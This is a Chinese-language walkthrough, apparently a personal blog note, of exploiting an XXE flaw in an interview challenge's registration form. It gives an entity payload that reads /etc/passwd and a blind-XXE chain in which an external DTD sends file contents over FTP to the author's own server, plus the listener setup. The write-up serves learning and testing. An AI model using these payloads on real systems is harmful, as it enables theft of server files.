前情提要
一个面试题,平时没研究过xxe,坑太多,光环境就鼓捣了一天多,记录一下
开始
一个简单的注册页面,注册完了也没别的啥页面,那就抓个包吧。
(不要在意截图信息不一致)
发现通过xml发送数据,自然想到xml注入,只有所耳闻,注定悲惨的结局。
废话不多说。
判断xml注入
xml是一种类似HTML但比HTML严格一些的语言(多了也不知道)
比如上图我在姓名处输入</name><name>
不会报错,输入<name>
就会报错,因为xml的标签必须成对出现。
利用
可以读文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<reg><name>&f;</name><tel>beddb</tel><email>&f;</email></reg>
file:///etc/passwd
是要读取的文件路径,底下&f;应该是回显位置(纯属猜测),反正百度测试半天是一点反应没有,尝试xxe盲注。
Blind XXE
继续
准备阶段
云服务器
我选的是腾讯云主机,便宜,千万不要直接用自带的终端连接,没反应(也可能我人品不好)
xshell
-
xshell登陆云主机,我的是ubuntu
-
环境准备,安装ruby
sudo apt-get install ruby
ruby -v // 出现版本号证明安装成功
安装脚本一会用
git clone https://github.com/ONsec-Lab/scripts.git
新建一个xml.dtd文件(这些都直接在根目录整就完事儿)
<!ENTITY % all "<!ENTITY % send SYSTEM 'ftp://云主机ip:2121/%file;'>">
%all;
开干
burpsuite抓包,修改
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://你的ip:端口/xml.dtd">
%dtd;
%send;
]>
<reg><name>svez</name><tel>vse</tel><email>vsesdse</email></reg>
这里因为我们的云主机还不能访问,使用以下命令一键开启监听8080端口
HTTP_PORT=8080 && python3 -m http.server $HTTP_PORT || python -m simpleHTTPServer $HTTP_PORT
xshell新建一个窗口(当然也是连接这个云服务器)
刚才我们安装了一个脚本,进入这个目录
cd scripts
ruby xxe-ftp-server.rb
这时,打开bp,Go!Go!Go!发送请求
这时右边是没有响应的,别慌
xshell已经返回了数据
随便读取数据,更改路径就行
过程
bp语句<!ENTITY % dtd SYSTEM "http://你的ip:端口/xml.dtd">
--->访问云主机的dtd文档(顺便告诉访问哪个文件)-->dtd文档将请求?转发到2121端口--->监听脚本读取数据
我已经凌乱了,就这样吧